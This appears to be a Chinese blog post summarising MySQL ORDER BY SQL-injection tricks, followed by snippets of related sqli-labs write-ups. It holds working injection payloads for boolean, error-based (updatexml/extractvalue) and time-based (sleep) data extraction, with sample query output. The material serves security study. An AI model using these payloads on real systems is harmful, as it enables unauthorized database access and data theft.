小結 order by 注入

2022-09-03 01:00:26 字數 2965 閱讀 4984

之前已經學過的東西,準備把他們依次總結下,包括之前看的一些文章,一些小的tricks之類的,就先從注入開始吧

a. if

select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));

+-------+-----------+---------+

| user | password | user_id |

+-------+-----------+---------+

| admin | admintest | 1 |

+-------+-----------+---------+

1 row in set (0.00 sec)

b.rand

mysql> select rand(true);

+---------------------+

| rand(true) |

+---------------------+

| 0.40540353712197724 |

+---------------------+

1 row in set (0.00 sec)

mysql> select rand(false);

+---------------------+

| rand(false) |

+---------------------+

| 0.15522042769493574 |

+---------------------+

1 row in set (0.00 sec)

這裡可以利用rand(true) rand(false)的值不同,排序注入後面的順序也不同

mysql> select * from user order by 1-rand(substr(version(),1,1)=5);

+-------+-----------+---------+

| user | password | user_id |

+-------+-----------+---------+

| test | testadmin | 2 |

| admin | admintest | 1 |

| sp4rk | sp4rktest | 3 |

+-------+-----------+---------+

3 rows in set (0.02 sec)

c.regexp

select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);

select * from user order by 1-updatexml(1,concat(0x5e24,version(),0x5e24),0);

error 1105 (hy000): xpath syntax error: '^$5.7.22-0ubuntu18.04.1^$'

mysql> select * from user order by 1-extractvalue(1,concat(0x5e24,version(),0x5e24));

error 1105 (hy000): xpath syntax error: '^$5.7.22-0ubuntu18.04.1^$'

select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);

mysql> select user from user order by user,if(substr(version(),1,1)=5,1,(select 1 union select 2)) desc;

+-------+

| user |

+-------+

| admin |

| sp4rk |

| test |

+-------+

報錯,延時同上

mysql> select user from user order by 1-if(1=1,user,user_id);

+-------+

| user |

+-------+

| admin |

| test |

| sp4rk |

+-------+

3 rows in set, 3 warnings (0.00 sec)

mysql> select user from user order by 1-if(1=1,user_id,user);

+-------+

| user |

+-------+

| sp4rk |

| test |

| admin |

+-------+

payload: ,if(1=1,user_id,user);

,(case when (1=1) then user_id else user end)

,ifnull(null,user_id)

,rand(1=1)

payload:

if(1=1,1,(select 1 union select 2)) 正確

if(1=2,1,(select 1 union select 2)) 錯誤

if(1=1,1,(select 1 from information_schema.tables)) 正確

if(1=2,1,(select 1 from information_schema.tables)) 錯誤

sqli labs 十六 order by注入

第四十六關 這有篇文章講得還不錯可以看下 這關是order by後面的乙個注入,用報錯注入和盲注都是可以的 先看原始碼吧 可以看到是order by後面存在注入漏洞。輸入?sort 1 頁面報錯,可以使用報錯注入 後面的流程和之前報錯注入的流程沒什麼區別了 也可以使用updatexml 這裡順便把盲...

SQL注入小結

利用惡意不規範的 進行sql查詢,且能被sql執行器執行,達到利用資料庫特性獲取更多資訊或者進行提權等目的 2.1 數字型 檢測方法 2.2 字元型 檢測方法 基於以上兩種注入型別,又可分為報錯注入 盲注 寬位元組注入 post注入 cookie注入等 下面分別介紹這幾種注入型別 2.3 報錯注入 ...

SQL注入漏洞小結

1 前提 1,前端傳入後端的引數是使用者可控的 2,傳入的引數拼接到sql語句,且帶入資料庫查詢。2 成因 由於web應用程式對使用者輸入的資料的合法性沒有判斷,使用者通過可控引數中注入sql語句,破壞原有sql結構,達到編寫程式時意料之外結果的攻擊行為,成因歸結為兩個 1 程式編寫者在處理程式和資...